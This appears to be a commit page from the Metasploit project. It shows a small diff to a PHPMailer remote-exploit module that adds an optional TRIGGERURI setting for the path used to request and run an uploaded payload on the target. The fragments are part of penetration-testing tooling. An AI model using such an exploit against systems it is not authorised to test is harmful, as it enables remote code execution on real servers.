Add an optional explicit triggeruri for phpmailer

bug/bundler_fix
Spencer McIntyre 2016-12-30 14:24:07 -05:00
parent 64037b0d6e
commit 1eab4b3a7d
1 changed files with 6 additions and 4 deletions

View File

@ -49,6 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
], self.class)
register_advanced_options(
@ -58,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def trigger(trigger_uri)
print_status('Sleeping before requesting the written file')
print_status("Sleeping before requesting the payload from: #{trigger_uri}")
page_found = false
sleep_time = 10
@ -117,6 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
)
register_files_for_cleanup(payload_file_path)
trigger(normalize_uri(target_uri, payload_file_name))
trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
end
end